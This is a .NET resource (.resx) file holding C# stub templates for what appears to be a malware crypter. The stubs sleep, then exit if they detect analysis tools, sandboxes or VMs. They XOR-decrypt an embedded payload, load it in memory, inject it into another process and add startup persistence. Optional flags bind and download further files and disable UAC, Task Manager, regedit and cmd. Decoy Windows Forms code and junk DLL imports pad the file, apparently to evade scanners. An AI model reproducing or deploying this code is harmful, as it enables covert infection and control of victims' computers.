text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 using System; using System.Text; using System.IO; using System.Reflection; using System.Resources; using System.Threading; using System.Diagnostics; using System.Windows.Forms; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text.RegularExpressions; using System.Collections.Generic; using System.Management; using System.Reflection; namespace AA1 { internal class AA3 { static void Main(string[] PP1PP2) { try { Thread.Sleep([SLEEP]); if([ANTI]) { if(DWireshark() || IsDebuggerPresent() || DEmulation() ||DSandboxie() || DVM()) { Environment.Exit(0); } } string encKey = "[ENCRYPTION]"; bool start = [STARTUP]; bool bind = [BIND]; bool download = [DOWNLOAD]; bool message = [MESSAGE]; bool disable = true; byte[] bytes = (byte[])new ResourceManager("[RESOURCEFILE]", Assembly.GetExecutingAssembly()).GetObject("[RESNAME]"); string[] SS1 = Regex.Split(Encoding.Default.GetString(bytes), "MORPHEOUS"); Assembly lib = AppDomain.CurrentDomain.Load(BB3(Encoding.Default.GetBytes(SS1[1]), encKey)); byte[] server = BB3(Encoding.Default.GetBytes(SS1[0]), encKey); foreach(Type t in lib.GetTypes()) { if(t.Name == "RunLib") { if(start) { t.InvokeMember("sup", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{Assembly.GetEntryAssembly().Location,"[SFILE]", "[SNAME]", false}); } t.InvokeMember("Inj", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{server, "[INJECT]", [PERSISTENCE] ,false, false,"[SFILE]", PP1PP2}); if(bind) { t.InvokeMember("Bind", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{BB3((byte[])new ResourceManager("[RESOURCEFILE]", Assembly.GetExecutingAssembly()).GetObject("bind"),encKey), "[BINDONCE]"}); } if(download) { t.InvokeMember("d", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{Encoding.Default.GetString(BB3((byte[])new ResourceManager("[RESOURCEFILE]", Assembly.GetExecutingAssembly()).GetObject("dl"), encKey)), "[DLONCE]"}); } if(message) { t.InvokeMember("mb", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{"[BODY]","[TITLE]","warning", "[MSGONCE]"}); } if(disable) { t.InvokeMember("dbl", BindingFlags.Default | BindingFlags.InvokeMethod, null, Activator.CreateInstance(t), new object[]{new bool[]{[UAC],[TASKMGR],[REGEDIT],[CMD]}}); } } } } catch (Exception ex) { MessageBox.Show(ex.ToString()); } } public static byte[] BB3(byte[] DD3, string DD2) { byte[] DD1 = System.Text.Encoding.ASCII.GetBytes(DD2); for (int i = 0; i < DD3.Length; i++) DD3[i] ^= (byte)(DD1[i % DD2.Length] >> (i + 5 + DD1.Length) & 255); return DD3; } //DWireshark() || IsDebuggerPresent() || DEmulation() ||DSandboxie() || DVM() [DllImport("kernel32")] static extern bool IsDebuggerPresent(); private static bool DWireshark() { Process[] ProcessList = Process.GetProcesses(); foreach (Process proc in ProcessList) { if (proc.MainWindowTitle.Equals("The Wireshark Network Analyzer")) { return true; } } return false; } private static bool DEmulation() { long tickCount = Environment.TickCount; Thread.Sleep(500); long tickCount2 = Environment.TickCount; if (((tickCount2 - tickCount) < 500L)) { return true; } else return false; } [DllImport("kernel32.dll")] public static extern IntPtr GetModuleHandle(string lpModuleName); private static bool DSandboxie() { if (GetModuleHandle("SbieDll.dll").ToInt32() != 0) { return true; } else return false; } public static bool DVM() { bool result = false; const string MICROSOFTCORPORATION ="microsoft corporation"; try { ManagementObjectSearcher searcher = new ManagementObjectSearcher("root\\CIMV2","SELECT * FROM Win32_BaseBoard"); foreach (ManagementObject queryObj in searcher.Get()) { result = queryObj["Manufacturer"].ToString().ToLower() == MICROSOFTCORPORATION.ToLower(); } return result; } catch (ManagementException ex) { return result; } } } } using System; using System.Text; using System.IO; using System.Reflection; using System.Resources; using System.Windows.Forms; using System.Runtime.InteropServices; using System.Collections.Generic; using System.Drawing; [assembly: AssemblyTitle("[TITLE]")] [assembly: AssemblyDescription("[ASSDESCRIPTION]")] [assembly: AssemblyCompany("[COMPANY]")] [assembly: AssemblyProduct("[PRODUCT]")] [assembly: AssemblyCopyright("[COPYRIGHT]")] [assembly: AssemblyVersion("[VERSION]")] [assembly: AssemblyFileVersion("[VERSION]")] namespace AA1 { partial class Form1 : Form { /// <summary> /// Required designer variable. /// </summary> private System.ComponentModel.IContainer components = null; /// <summary> /// Clean up any resources being used. /// </summary> /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param> #region Windows Form Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.checkBox1 = new System.Windows.Forms.CheckBox(); this.button1 = new System.Windows.Forms.Button(); this.button2 = new System.Windows.Forms.Button(); this.button3 = new System.Windows.Forms.Button(); this.button4 = new System.Windows.Forms.Button(); this.button5 = new System.Windows.Forms.Button(); this.button6 = new System.Windows.Forms.Button(); this.button7 = new System.Windows.Forms.Button(); this.checkBox2 = new System.Windows.Forms.CheckBox(); this.checkBox3 = new System.Windows.Forms.CheckBox(); this.checkBox4 = new System.Windows.Forms.CheckBox(); this.checkBox5 = new System.Windows.Forms.CheckBox(); this.checkBox6 = new System.Windows.Forms.CheckBox(); this.checkBox7 = new System.Windows.Forms.CheckBox(); this.checkBox8 = new System.Windows.Forms.CheckBox(); this.label1 = new System.Windows.Forms.Label(); this.label2 = new System.Windows.Forms.Label(); this.label3 = new System.Windows.Forms.Label(); this.label4 = new System.Windows.Forms.Label(); this.label5 = new System.Windows.Forms.Label(); this.label6 = new System.Windows.Forms.Label(); this.numericUpDown1 = new System.Windows.Forms.NumericUpDown(); this.numericUpDown2 = new System.Windows.Forms.NumericUpDown(); this.numericUpDown3 = new System.Windows.Forms.NumericUpDown(); this.numericUpDown4 = new System.Windows.Forms.NumericUpDown(); this.pictureBox1 = new System.Windows.Forms.PictureBox(); this.pictureBox2 = new System.Windows.Forms.PictureBox(); this.pictureBox3 = new System.Windows.Forms.PictureBox(); this.radioButton1 = new System.Windows.Forms.RadioButton(); this.radioButton2 = new System.Windows.Forms.RadioButton(); this.radioButton3 = new System.Windows.Forms.RadioButton(); this.treeView1 = new System.Windows.Forms.TreeView(); this.treeView2 = new System.Windows.Forms.TreeView(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown3)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown4)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).BeginInit(); this.SuspendLayout(); // // checkBox1 // this.checkBox1.AutoSize = true; this.checkBox1.Location = new System.Drawing.Point(30, 35); this.checkBox1.Name = "checkBox1"; this.checkBox1.Size = new System.Drawing.Size(80, 17); this.checkBox1.TabIndex = 0; this.checkBox1.Text = "checkBox1"; this.checkBox1.UseVisualStyleBackColor = true; // // button1 // this.button1.Location = new System.Drawing.Point(30, 69); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(75, 23); this.button1.TabIndex = 1; this.button1.Text = "button1"; this.button1.UseVisualStyleBackColor = true; // // button2 // this.button2.Location = new System.Drawing.Point(105, 119); this.button2.Name = "button2"; this.button2.Size = new System.Drawing.Size(75, 23); this.button2.TabIndex = 2; this.button2.Text = "button2"; this.button2.UseVisualStyleBackColor = true; // // button3 // this.button3.Location = new System.Drawing.Point(113, 127); this.button3.Name = "button3"; this.button3.Size = new System.Drawing.Size(75, 23); this.button3.TabIndex = 3; this.button3.Text = "button3"; this.button3.UseVisualStyleBackColor = true; // // button4 // this.button4.Location = new System.Drawing.Point(121, 135); this.button4.Name = "button4"; this.button4.Size = new System.Drawing.Size(75, 23); this.button4.TabIndex = 4; this.button4.Text = "button4"; this.button4.UseVisualStyleBackColor = true; // // button5 // this.button5.Location = new System.Drawing.Point(129, 143); this.button5.Name = "button5"; this.button5.Size = new System.Drawing.Size(75, 23); this.button5.TabIndex = 5; this.button5.Text = "button5"; this.button5.UseVisualStyleBackColor = true; // // button6 // this.button6.Location = new System.Drawing.Point(137, 151); this.button6.Name = "button6"; this.button6.Size = new System.Drawing.Size(75, 23); this.button6.TabIndex = 6; this.button6.Text = "button6"; this.button6.UseVisualStyleBackColor = true; // // button7 // this.button7.Location = new System.Drawing.Point(68, 127); this.button7.Name = "button7"; this.button7.Size = new System.Drawing.Size(75, 23); this.button7.TabIndex = 7; this.button7.Text = "button7"; this.button7.UseVisualStyleBackColor = true; // // checkBox2 // this.checkBox2.AutoSize = true; this.checkBox2.Location = new System.Drawing.Point(99, 47); this.checkBox2.Name = "checkBox2"; this.checkBox2.Size = new System.Drawing.Size(80, 17); this.checkBox2.TabIndex = 8; this.checkBox2.Text = "checkBox2"; this.checkBox2.UseVisualStyleBackColor = true; // // checkBox3 // this.checkBox3.AutoSize = true; this.checkBox3.Location = new System.Drawing.Point(102, 122); this.checkBox3.Name = "checkBox3"; this.checkBox3.Size = new System.Drawing.Size(80, 17); this.checkBox3.TabIndex = 9; this.checkBox3.Text = "checkBox3"; this.checkBox3.UseVisualStyleBackColor = true; // // checkBox4 // this.checkBox4.AutoSize = true; this.checkBox4.Location = new System.Drawing.Point(110, 130); this.checkBox4.Name = "checkBox4"; this.checkBox4.Size = new System.Drawing.Size(80, 17); this.checkBox4.TabIndex = 10; this.checkBox4.Text = "checkBox4"; this.checkBox4.UseVisualStyleBackColor = true; // // checkBox5 // this.checkBox5.AutoSize = true; this.checkBox5.Location = new System.Drawing.Point(118, 138); this.checkBox5.Name = "checkBox5"; this.checkBox5.Size = new System.Drawing.Size(80, 17); this.checkBox5.TabIndex = 11; this.checkBox5.Text = "checkBox5"; this.checkBox5.UseVisualStyleBackColor = true; // // checkBox6 // this.checkBox6.AutoSize = true; this.checkBox6.Location = new System.Drawing.Point(126, 146); this.checkBox6.Name = "checkBox6"; this.checkBox6.Size = new System.Drawing.Size(80, 17); this.checkBox6.TabIndex = 12; this.checkBox6.Text = "checkBox6"; this.checkBox6.UseVisualStyleBackColor = true; // // checkBox7 // this.checkBox7.AutoSize = true; this.checkBox7.Location = new System.Drawing.Point(134, 154); this.checkBox7.Name = "checkBox7"; this.checkBox7.Size = new System.Drawing.Size(80, 17); this.checkBox7.TabIndex = 13; this.checkBox7.Text = "checkBox7"; this.checkBox7.UseVisualStyleBackColor = true; // // checkBox8 // this.checkBox8.AutoSize = true; this.checkBox8.Location = new System.Drawing.Point(142, 162); this.checkBox8.Name = "checkBox8"; this.checkBox8.Size = new System.Drawing.Size(80, 17); this.checkBox8.TabIndex = 14; this.checkBox8.Text = "checkBox8"; this.checkBox8.UseVisualStyleBackColor = true; // // label1 // this.label1.AutoSize = true; this.label1.Location = new System.Drawing.Point(93, 169); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(35, 13); this.label1.TabIndex = 15; this.label1.Text = "label1"; // // label2 // this.label2.AutoSize = true; this.label2.Location = new System.Drawing.Point(125, 124); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(35, 13); this.label2.TabIndex = 16; this.label2.Text = "label2"; // // label3 // this.label3.AutoSize = true; this.label3.Location = new System.Drawing.Point(133, 132); this.label3.Name = "label3"; this.label3.Size = new System.Drawing.Size(35, 13); this.label3.TabIndex = 17; this.label3.Text = "label3"; // // label4 // this.label4.AutoSize = true; this.label4.Location = new System.Drawing.Point(141, 140); this.label4.Name = "label4"; this.label4.Size = new System.Drawing.Size(35, 13); this.label4.TabIndex = 18; this.label4.Text = "label4"; // // label5 // this.label5.AutoSize = true; this.label5.Location = new System.Drawing.Point(149, 148); this.label5.Name = "label5"; this.label5.Size = new System.Drawing.Size(35, 13); this.label5.TabIndex = 19; this.label5.Text = "label5"; // // label6 // this.label6.AutoSize = true; this.label6.Location = new System.Drawing.Point(157, 156); this.label6.Name = "label6"; this.label6.Size = new System.Drawing.Size(35, 13); this.label6.TabIndex = 20; this.label6.Text = "label6"; // // numericUpDown1 // this.numericUpDown1.Location = new System.Drawing.Point(57, 138); this.numericUpDown1.Name = "numericUpDown1"; this.numericUpDown1.Size = new System.Drawing.Size(120, 20); this.numericUpDown1.TabIndex = 21; // // numericUpDown2 // this.numericUpDown2.Location = new System.Drawing.Point(82, 120); this.numericUpDown2.Name = "numericUpDown2"; this.numericUpDown2.Size = new System.Drawing.Size(120, 20); this.numericUpDown2.TabIndex = 22; // // numericUpDown3 // this.numericUpDown3.Location = new System.Drawing.Point(90, 128); this.numericUpDown3.Name = "numericUpDown3"; this.numericUpDown3.Size = new System.Drawing.Size(120, 20); this.numericUpDown3.TabIndex = 23; // // numericUpDown4 // this.numericUpDown4.Location = new System.Drawing.Point(98, 136); this.numericUpDown4.Name = "numericUpDown4"; this.numericUpDown4.Size = new System.Drawing.Size(120, 20); this.numericUpDown4.TabIndex = 24; // // pictureBox1 // this.pictureBox1.Location = new System.Drawing.Point(30, 198); this.pictureBox1.Name = "pictureBox1"; this.pictureBox1.Size = new System.Drawing.Size(100, 50); this.pictureBox1.TabIndex = 25; this.pictureBox1.TabStop = false; // // pictureBox2 // this.pictureBox2.Location = new System.Drawing.Point(92, 105); this.pictureBox2.Name = "pictureBox2"; this.pictureBox2.Size = new System.Drawing.Size(100, 50); this.pictureBox2.TabIndex = 26; this.pictureBox2.TabStop = false; // // pictureBox3 // this.pictureBox3.Location = new System.Drawing.Point(100, 113); this.pictureBox3.Name = "pictureBox3"; this.pictureBox3.Size = new System.Drawing.Size(100, 50); this.pictureBox3.TabIndex = 27; this.pictureBox3.TabStop = false; // // radioButton1 // this.radioButton1.AutoSize = true; this.radioButton1.Location = new System.Drawing.Point(106, 69); this.radioButton1.Name = "radioButton1"; this.radioButton1.Size = new System.Drawing.Size(85, 17); this.radioButton1.TabIndex = 28; this.radioButton1.TabStop = true; this.radioButton1.Text = "radioButton1"; this.radioButton1.UseVisualStyleBackColor = true; // // radioButton2 // this.radioButton2.AutoSize = true; this.radioButton2.Location = new System.Drawing.Point(100, 122); this.radioButton2.Name = "radioButton2"; this.radioButton2.Size = new System.Drawing.Size(85, 17); this.radioButton2.TabIndex = 29; this.radioButton2.TabStop = true; this.radioButton2.Text = "radioButton2"; this.radioButton2.UseVisualStyleBackColor = true; // // radioButton3 // this.radioButton3.AutoSize = true; this.radioButton3.Location = new System.Drawing.Point(108, 130); this.radioButton3.Name = "radioButton3"; this.radioButton3.Size = new System.Drawing.Size(85, 17); this.radioButton3.TabIndex = 30; this.radioButton3.TabStop = true; this.radioButton3.Text = "radioButton3"; this.radioButton3.UseVisualStyleBackColor = true; // // treeView1 // this.treeView1.Location = new System.Drawing.Point(13, 122); this.treeView1.Name = "treeView1"; this.treeView1.Size = new System.Drawing.Size(121, 97); this.treeView1.TabIndex = 31; // // treeView2 // this.treeView2.Location = new System.Drawing.Point(82, 82); this.treeView2.Name = "treeView2"; this.treeView2.Size = new System.Drawing.Size(121, 97); this.treeView2.TabIndex = 32; // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(284, 261); this.Controls.Add(this.treeView2); this.Controls.Add(this.treeView1); this.Controls.Add(this.radioButton3); this.Controls.Add(this.radioButton2); this.Controls.Add(this.radioButton1); this.Controls.Add(this.pictureBox3); this.Controls.Add(this.pictureBox2); this.Controls.Add(this.pictureBox1); this.Controls.Add(this.numericUpDown4); this.Controls.Add(this.numericUpDown3); this.Controls.Add(this.numericUpDown2); this.Controls.Add(this.numericUpDown1); this.Controls.Add(this.label6); this.Controls.Add(this.label5); this.Controls.Add(this.label4); this.Controls.Add(this.label3); this.Controls.Add(this.label2); this.Controls.Add(this.label1); this.Controls.Add(this.checkBox8); this.Controls.Add(this.checkBox7); this.Controls.Add(this.checkBox6); this.Controls.Add(this.checkBox5); this.Controls.Add(this.checkBox4); this.Controls.Add(this.checkBox3); this.Controls.Add(this.checkBox2); this.Controls.Add(this.button7); this.Controls.Add(this.button6); this.Controls.Add(this.button5); this.Controls.Add(this.button4); this.Controls.Add(this.button3); this.Controls.Add(this.button2); this.Controls.Add(this.button1); this.Controls.Add(this.checkBox1); this.Name = "Form1"; this.Text = "Form1"; ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown3)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown4)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).EndInit(); this.ResumeLayout(false); this.PerformLayout(); } #endregion private System.Windows.Forms.CheckBox checkBox1; private System.Windows.Forms.Button button1; private System.Windows.Forms.Button button2; private System.Windows.Forms.Button button3; private System.Windows.Forms.Button button4; private System.Windows.Forms.Button button5; private System.Windows.Forms.Button button6; private System.Windows.Forms.Button button7; private System.Windows.Forms.CheckBox checkBox2; private System.Windows.Forms.CheckBox checkBox3; private System.Windows.Forms.CheckBox checkBox4; private System.Windows.Forms.CheckBox checkBox5; private System.Windows.Forms.CheckBox checkBox6; private System.Windows.Forms.CheckBox checkBox7; private System.Windows.Forms.CheckBox checkBox8; private System.Windows.Forms.Label label1; private System.Windows.Forms.Label label2; private System.Windows.Forms.Label label3; private System.Windows.Forms.Label label4; private System.Windows.Forms.Label label5; private System.Windows.Forms.Label label6; private System.Windows.Forms.NumericUpDown numericUpDown1; private System.Windows.Forms.NumericUpDown numericUpDown2; private System.Windows.Forms.NumericUpDown numericUpDown3; private System.Windows.Forms.NumericUpDown numericUpDown4; private System.Windows.Forms.PictureBox pictureBox1; private System.Windows.Forms.PictureBox pictureBox2; private System.Windows.Forms.PictureBox pictureBox3; private System.Windows.Forms.RadioButton radioButton1; private System.Windows.Forms.RadioButton radioButton2; private System.Windows.Forms.RadioButton radioButton3; private System.Windows.Forms.TreeView treeView1; private System.Windows.Forms.TreeView treeView2; } internal class AA2 { [DllImport("KK3KK1.dll")] static extern string KK2SS3(IntPtr MM2MM1, byte MM1MM2); [DllImport("KK3KK2.dll")] static extern string[] KK3SS2(Boolean[] MM3MM2, char MM2MM3); [DllImport("KK2KK3.dll")] static extern int KK4SS1(StringComparer MM4MM3, long MM3MM4); [DllImport("KK4KK1.dll")] static extern Boolean KK5BB1(int[] MM5MM6, char MM6MM5); public static string[] PP1; static void Main(string[] PP1PP2PP3PP4) { byte[] BB3BB7 = null; try { byte[] BB1BB2BB3 = (byte[])new ResourceManager("[RESOURCEFILE]", Assembly.GetExecutingAssembly()).GetObject("[RESNAME]"); PP1 = PP1PP2PP3PP4; BB3BB7 = BB1BB2BB3 = BB3( BB1BB2BB3, "[ENCRYPTION]"); } catch (Exception ex) { MessageBox.Show(ex.ToString()); } } public static byte[] BB3(byte[] DD3, string DD2) { byte[] DD1 = System.Text.Encoding.ASCII.GetBytes(DD2); for (int i = 0; i < DD3.Length; i++) DD3[i] ^= (byte)(DD1[i % DD2.Length] >> (i + 5 + DD1.Length) & 255); AppDomain.CurrentDomain.Load(DD3).EntryPoint.Invoke(null, new object[]{PP1}); Guid originalGuid = Guid.NewGuid(); // Create an array of string representations of the GUID. string[] stringGuids = {originalGuid.ToString("B"),originalGuid.ToString("b"),originalGuid.ToString("B")}; // Parse each string representation. foreach (string stringGuid in stringGuids) { try { // Guid newGuid = Guid.Parse(stringGuid); // Console.WriteLine("Converted {0} to a Guid", stringGuid); } catch (ArgumentNullException) { // Console.WriteLine("The string to be parsed is null."); } catch (FormatException) { // Console.WriteLine("Bad format: {0}", stringGuid); } } return DD3; //return null; } } }